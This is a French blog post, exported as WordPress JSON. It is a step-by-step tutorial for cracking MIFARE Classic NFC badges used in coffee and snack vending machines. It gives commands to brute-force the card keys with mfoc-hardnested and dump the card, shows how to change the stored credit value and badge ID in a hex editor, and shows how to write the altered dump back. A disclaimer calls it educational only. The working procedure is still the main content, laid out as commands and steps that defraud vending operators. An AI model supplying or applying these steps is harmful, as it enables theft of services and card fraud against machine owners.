{"id":155,"date":"2024-10-16T19:07:30","date_gmt":"2024-10-16T17:07:30","guid":{"rendered":"https:\/\/xymaster.fr\/blog\/?p=155"},"modified":"2024-10-16T19:07:54","modified_gmt":"2024-10-16T17:07:54","slug":"modifier-les-informations-dun-badge-nfc-pour-distributeur-de-cafe-boissons-friandises","status":"publish","type":"post","link":"https:\/\/xymaster.fr\/blog\/2024\/10\/16\/modifier-les-informations-dun-badge-nfc-pour-distributeur-de-cafe-boissons-friandises\/","title":{"rendered":"Modifier les informations d&rsquo;un badge NFC pour distributeur de caf\u00e9, boissons, friandises&#8230;"},"content":{"rendered":"\n<div class=\"wp-block-group alignfull has-base-color has-contrast-background-color has-text-color has-background has-link-color wp-elements-a44cca5cca7574b0f21d21f0201c3d90 has-global-padding is-layout-constrained wp-container-core-group-is-layout-d89aad35 wp-block-group-is-layout-constrained\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--50);padding-right:var(--wp--preset--spacing--50);padding-bottom:var(--wp--preset--spacing--50);padding-left:var(--wp--preset--spacing--50)\">\n<div class=\"wp-block-group alignwide is-layout-flow wp-block-group-is-layout-flow\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"has-text-align-center\"><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-accent-3-color\">CETTE PAGE A UN BUT \u00c9DUCATIF UNIQUEMENT, JE NE POURRAIS \u00caTRE TENU POUR RESPONSABLE DE CE QUE VOUS POURRIEZ FAIRE D\u2019ILL\u00c9GAL AVEC CES INFORMATIONS. CET EXPLOIT EST POSSIBLE SUR LES PUCES NFC MIFARE CLASSIC, C&rsquo;EST UNE GAMME DE PUCE NFC QUI UTILISE UN SYST\u00c8ME DE CHIFFREMENT QUI A \u00c9T\u00c9 CASS\u00c9 EN 2008 (oui oui, 2008\u2026). CETTE TECHNOLOGIE EST ENCORE UTILIS\u00c9E DANS BEAUCOUP DE SYST\u00c8ME NFC COMME LES BADGES D&rsquo;IMMEUBLES, LES DISTRIBUTEURS AUTOMATIQUE DE BOISSONS FRAICHES, CAF\u00c9, FRIANDISES,\u2026<br>JE RAPPEL QUE LE FAIT D&rsquo;EFFECTUER CECI CHEZ VOUS AVEC DU MAT\u00c9RIEL QUI VOUS APPARTIENT EST PARFAITEMENT L\u00c9GAL. LE FAIT DE L&rsquo;UTILISER SUR DU MAT\u00c9RIEL QUI NE VOUS APPARTIENT PAS AFIN DE CONTOURNER LA S\u00c9CURIT\u00c9 D&rsquo;UN SYST\u00c8ME INFORMATIQUE EST ILL\u00c9GAL.<\/mark><\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"pre-requis\">Pr\u00e9-requis :<\/h2>\n\n\n\n<p>\u2022 Lecteur NFC ACS ACR122U<\/p>\n\n\n\n<p>\u2022 Un badge MiFare Classic original<\/p>\n\n\n\n<p>\u2022 Savoir utiliser Linux un minimum<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"explication_pas-a-pas\">Explication pas-\u00e0-pas<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"installer_linux_mint\">1\u00b0) Installer Linux Mint<\/h3>\n\n\n\n<p>J&rsquo;ai choisi Linux Mint car il d\u00e9tecte nativement le lecteur ACS122U, pas besoin d&rsquo;installer des choses suppl\u00e9mentaires. Cet article \u00e0 \u00e9t\u00e9 r\u00e9alis\u00e9 sur Linux Mint 21.1 64bit (test\u00e9 aussi sur Linux Mint 17.3, 18 &amp; 19.3 32bit)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"installer_libnfc\">2\u00b0) Installer libnfc<\/h3>\n\n\n\n<p>\u2022 Voir le gestionnaire de paquet (\u00ab\u00a0Menu\u00a0\u00bb en bas \u00e0 gauche &gt; Gestionnaire de paquets)<br>\u2022 Faire une recherche pour \u00ab\u00a0libnfc\u00a0\u00bb<br>\u2022 Faite un clic-droit sur libnfc-dev,libnfc6 et libnfc-bin et cliquer sur \u00ab\u00a0S\u00e9lectionner pour installation\u00a0\u00bb \u00e0 chaque fois.<br>\u2022 Cliquez sur \u00ab\u00a0Appliquer\u00a0\u00bb en haut \u00e0 gauche<\/p>\n\n\n\n<p>(Sinon les paquets sont t\u00e9l\u00e9chargeables ici : <a href=\"http:\/\/packages.ubuntu.com\/search?keywords=libnfc&amp;searchon=names&amp;suite=xenial&amp;section=all\">http:\/\/packages.ubuntu.com\/search?keywords=libnfc&amp;searchon=names&amp;suite=xenial&amp;section=all<\/a>)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"installer_d_autres_trucs\">3\u00b0) Installer d&rsquo;autres trucs<\/h3>\n\n\n\n<p>Ouvrez un terminal et tapez ceci :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt-get install libusb-dev libccid pcscd libpcsclite1 libpcsclite-dev autoconf liblzma-dev<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"installer_mfoc\">4\u00b0) Installer mfoc<\/h3>\n\n\n\n<p>Ouvrez un terminal et tapez ceci :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wget -O mfoc-hardnested.zip <a href=\"https:\/\/github.com\/IxeYgrek\/mfoc-hardnested\/releases\/download\/nfc\/mfoc-hardnested-master.zip\">https:\/\/github.com\/IxeYgrek\/mfoc-hardnested\/releases\/download\/nfc\/mfoc-hardnested-master.zip<\/a>\nunzip mfoc-hardnested.zip\nrm mfoc-hardnested.zip\ncd mfoc-hardnested-master\/\nautoreconf -vis\n.\/configure\nmake &amp;&amp; sudo make install\ncd ..<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"verifier_si_le_lecteur_nfc_est_bien_reconnu_par_libnfc\">5\u00b0) V\u00e9rifier si le lecteur NFC est bien reconnu par libnfc<\/h3>\n\n\n\n<p>Ouvrez un terminal et tapez ceci :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nfc-list<\/code><\/pre>\n\n\n\n<p>Normalement vous devriez avoir cette erreur :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Unable to claim USB interface (Device or resource busy)\nnfc-list: ERROR: Unable to open NFC device: acr122_usb:001:020<\/code><\/pre>\n\n\n\n<p>Si vous n&rsquo;avez PAS cette erreur, passez directement \u00e0 l&rsquo;\u00e9tape 6<br><\/p>\n\n\n\n<p>Faite alors ceci dans un terminal :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nano \/etc\/modprobe.d\/blacklist-libnfc.conf<\/code><\/pre>\n\n\n\n<p>Si ce n&rsquo;est pas d\u00e9j\u00e0 le cas, ajoutez ces lignes au fichier de conf :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>blacklist pn533\nblacklist nfc<\/code><\/pre>\n\n\n\n<p>(On \u00e0 blacklist\u00e9 les drivers \u00ab\u00a0nfc\u00a0\u00bb et \u00ab\u00a0pn533\u00a0\u00bb)<\/p>\n\n\n\n<p>Ensuite, toujours dans un terminal, pour changer :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo modprobe -r pn533 nfc<\/code><\/pre>\n\n\n\n<p>(On a d\u00e9sactiv\u00e9 les modules kernel)<\/p>\n\n\n\n<p>Toujours dans un terminal \u2026 :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo service pcscd restart<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"faire_le_dump_de_la_cle\">6\u00b0) Faire le dump de la cl\u00e9<\/h3>\n\n\n\n<p>(dump = extraction compl\u00e8te des donn\u00e9es de la cl\u00e9 dans un fichier)<\/p>\n\n\n\n<p>Mettez votre badge sur le lecteur NFC<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mfoc-hardnested -O badge.dmp<\/code><\/pre>\n\n\n\n<p>Si le badge n&rsquo;utilise pas que des cl\u00e9s par d\u00e9faut, le programme va bruteforcer les cl\u00e9, ceci peut-\u00eatre extr\u00eamement long pour cracker l&rsquo;int\u00e9gralit\u00e9 de la cl\u00e9. Si jamais \u00e7a plante en cours de processus, vous pourrez taper exactement la m\u00eame commande qu&rsquo;au dessus mais en rajoutant les cl\u00e9s trouv\u00e9s comme ceci pour ne pas avoir \u00e0 reprendre depuis le d\u00e9but :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mfoc-hardnested -O badge.dmp -k abd4efd57abf -k 47afdc4d5a7<\/code><\/pre>\n\n\n\n<p>Maintenant vous avez votre dump qui se trouve l\u00e0 o\u00f9 vous \u00e9tiez quand vous avez tap\u00e9 cette commande, et le fichier s&rsquo;appel \u00ab\u00a0badge.dmp\u00a0\u00bb<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"installer_un_editeur_hexadecimal\">7\u00b0) Installer un \u00e9diteur hexad\u00e9cimal<\/h3>\n\n\n\n<p>Les donn\u00e9es sur la cl\u00e9 sont en hexad\u00e9cimal, il va donc nous falloir un \u00e9diteur hexad\u00e9cimal pour pouvoir modifier notre fichier. Hexedit fait le taff.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt-get install hexedit<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"editer_le_dump\">8\u00b0) \u00c9diter le dump<\/h3>\n\n\n\n<p>Pour l&rsquo;exemple j&rsquo;utiliserais un vieux badge Selecta pour les machines \u00e0 caf\u00e9.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo hexedit \/&lt;chemin_vers_ton_fichier_dump><\/code><\/pre>\n\n\n\n<p>par exemple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo hexedit \/home\/&lt;nom_utilisateur>\/badge.dmp<\/code><\/pre>\n\n\n\n<p>Vous obtenez une longue suite de caract\u00e8re un peu comme \u00e7a :<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"502\" height=\"239\" src=\"https:\/\/xymaster.fr\/blog\/wp-content\/uploads\/2024\/10\/selecta-badge.jpg\" alt=\"\" class=\"wp-image-156\" style=\"width:884px;height:auto\" title=\"geekz0ne.fr_data_wiki_images_selecta-badge.jpg\" srcset=\"https:\/\/xymaster.fr\/blog\/wp-content\/uploads\/2024\/10\/selecta-badge.jpg 502w, https:\/\/xymaster.fr\/blog\/wp-content\/uploads\/2024\/10\/selecta-badge-300x143.jpg 300w\" sizes=\"auto, (max-width: 502px) 100vw, 502px\" \/><\/figure>\n\n\n\n<p>Le \u00ab\u00a003E8\u00a0\u00bb correspond au montant disponible sur la cl\u00e9, si on converti en d\u00e9cimal \u00e7a nous donne 1000 soit 10.00 soit 10\u20ac00<br>Le \u00ab\u00a003C022\u00a0\u00bb correspond \u00e0 l&rsquo;ID du badge, si on converti en d\u00e9cimal \u00e7a nous donne 245794 (c&rsquo;est un ID au pif que j&rsquo;ai modifi\u00e9 hein\u2026)<\/p>\n\n\n\n<p>Maintenant vous pouvez modifier ces informations comme bon vous semble.<\/p>\n\n\n\n<p>Pour enregistrer, c&rsquo;est \u00ab\u00a0CTRL + x\u00a0\u00bb<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mettre_le_nouveau_dump_sur_la_cle\">9\u00b0) Mettre le nouveau dump sur la cl\u00e9<\/h3>\n\n\n\n<p>Je n&rsquo;utilise plus cette m\u00e9thode pour \u00e9crire sur la cl\u00e9, je ne sais donc plus si cela fonctionne. Maintenant j&rsquo;utilise l&rsquo;application MIFARE Classic Tool disponible sur le Play Store (<a href=\"https:\/\/play.google.com\/store\/apps\/details?id=de.syss.MifareClassicTool&amp;hl=fr&amp;gl=US\">https:\/\/play.google.com\/store\/apps\/details?id=de.syss.MifareClassicTool&amp;hl=fr&amp;gl=US<\/a>)<br>J&rsquo;ajoute les cl\u00e9s de chiffrement qui ont \u00e9t\u00e9 d\u00e9couvertes \u00e0 l&rsquo;\u00e9tape 6 dans le menu \u00ab\u00a0Edit\/add key file\u00a0\u00bb, je fait un dump de la cl\u00e9 directement sur mon smartphone via l&rsquo;application (menu \u00ab\u00a0Read tag\u00a0\u00bb et en indiquant le fichier qui contient les cl\u00e9s), j&rsquo;\u00e9dite le dump et je le remet sur la cl\u00e9 via le menu \u00ab\u00a0Write tag\u00a0\u00bb en indiquant l&#8217;emplacement du dump et toujours le fichier contenant les cl\u00e9s de chiffrements.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nfc-mfclassic w B badge.dmp badge.dmp<\/code><\/pre>\n\n\n\n<p>(si y&rsquo;a des bug test\u00e9 un petit \u00ab\u00a0sudo modprobe -r pn533 nfc\u00a0\u00bb avant de relancer la commande ou changer le param\u00e8tre B par A)<br>Si vous copiez sur une carte chinoise dont le bloc 0 secteur 0 est modifiable il faudra les param\u00e8tres W B ou W A<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"remerciements\">Remerciements<\/h2>\n\n\n\n<p>La r\u00e9alisation de ce tutoriel n&rsquo;aurais pas \u00e9t\u00e9 possible sans les personnes cit\u00e9s ci-dessous, elles m&rsquo;ont apport\u00e9es conseils et analyses.<\/p>\n\n\n\n<p>\u2022 <a href=\"https:\/\/ecirtam.net\/\">oros<\/a><br>\u2022 l&rsquo;administrateur du site <a href=\"https:\/\/dyrk.org\">dyrk.org<\/a><br>\u2022 Seipas pour Hexedit<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"sources\">Sources<\/h2>\n\n\n\n<p><a href=\"http:\/\/stackoverflow.com\/questions\/31131569\/unable-to-claim-usb-interface-device-or-resource-busy\">http:\/\/stackoverflow.com\/questions\/31131569\/unable-to-claim-usb-interface-device-or-resource-busy<\/a><br><a href=\"http:\/\/dyrk.org\/2015\/09\/03\/faille-nfc-distributeur-selecta\/\">http:\/\/dyrk.org\/2015\/09\/03\/faille-nfc-distributeur-selecta\/<\/a><br><a href=\"http:\/\/www.latelierdugeek.fr\/2015\/07\/17\/dupliquer-contenu-puce-rfid-mifare-classic\/\">http:\/\/www.latelierdugeek.fr\/2015\/07\/17\/dupliquer-contenu-puce-rfid-mifare-classic\/<\/a><br><a href=\"http:\/\/dyrk.org\/2015\/09\/01\/nfc-recuperer-les-cles-dun-dump-mfoc\">http:\/\/dyrk.org\/2015\/09\/01\/nfc-recuperer-les-cles-dun-dump-mfoc<\/a><br><a href=\"https:\/\/samdecrock.medium.com\/cracking-mifare-classic-nfc-cards-using-the-hardnested-attack-506aab3ea305\">https:\/\/samdecrock.medium.com\/cracking-mifare-classic-nfc-cards-using-the-hardnested-attack-506aab3ea305<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"problemes_rencontres\">Probl\u00e8mes rencontr\u00e9s<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"pn532_init_failed\">PN532 init failed<\/h3>\n\n\n\n<p>Si vous avez une erreur du genre :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>error libnfc.driver.acr122_usb Invalid RDR_to_PC_DataBlock frame\nerror libnfc.driver.acr122_usb PN532 init failed, trying again\u2026<\/code><\/pre>\n\n\n\n<p>faite :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo modprobe -r pn533 nfc<\/code><\/pre>\n\n\n\n<p class=\"has-contrast-1-color has-text-color has-link-color wp-elements-2cbbaf8d36abc275245b37dcdebcfc64\">Puis d\u00e9branchez \/ rebranchez le lecteur<\/p>\n\n\n\n<div style=\"margin-top:var(--wp--preset--spacing--10);margin-bottom:0;height:var(--wp--preset--spacing--10)\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>CETTE PAGE A UN BUT \u00c9DUCATIF UNIQUEMENT, JE NE POURRAIS \u00caTRE TENU POUR RESPONSABLE DE CE QUE VOUS POURRIEZ FAIRE D\u2019ILL\u00c9GAL AVEC CES INFORMATIONS. CET EXPLOIT EST POSSIBLE SUR LES PUCES NFC MIFARE CLASSIC, C&rsquo;EST UNE GAMME DE PUCE NFC QUI UTILISE UN SYST\u00c8ME DE CHIFFREMENT QUI A \u00c9T\u00c9 CASS\u00c9 EN 2008 (oui oui, 2008\u2026). [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":158,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29,15,16],"tags":[28,26,24,22,27,20,21,25],"class_list":["post-155","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","category-tech","category-tutoriels-guides","tag-badge","tag-boissons","tag-cafe-2","tag-distributeur","tag-friandises","tag-hack","tag-machine","tag-nfc"],"_links":{"self":[{"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/posts\/155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/comments?post=155"}],"version-history":[{"count":1,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/posts\/155\/revisions"}],"predecessor-version":[{"id":157,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/posts\/155\/revisions\/157"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/media\/158"}],"wp:attachment":[{"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/media?parent=155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/categories?post=155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/xymaster.fr\/blog\/wp-json\/wp\/v2\/tags?post=155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}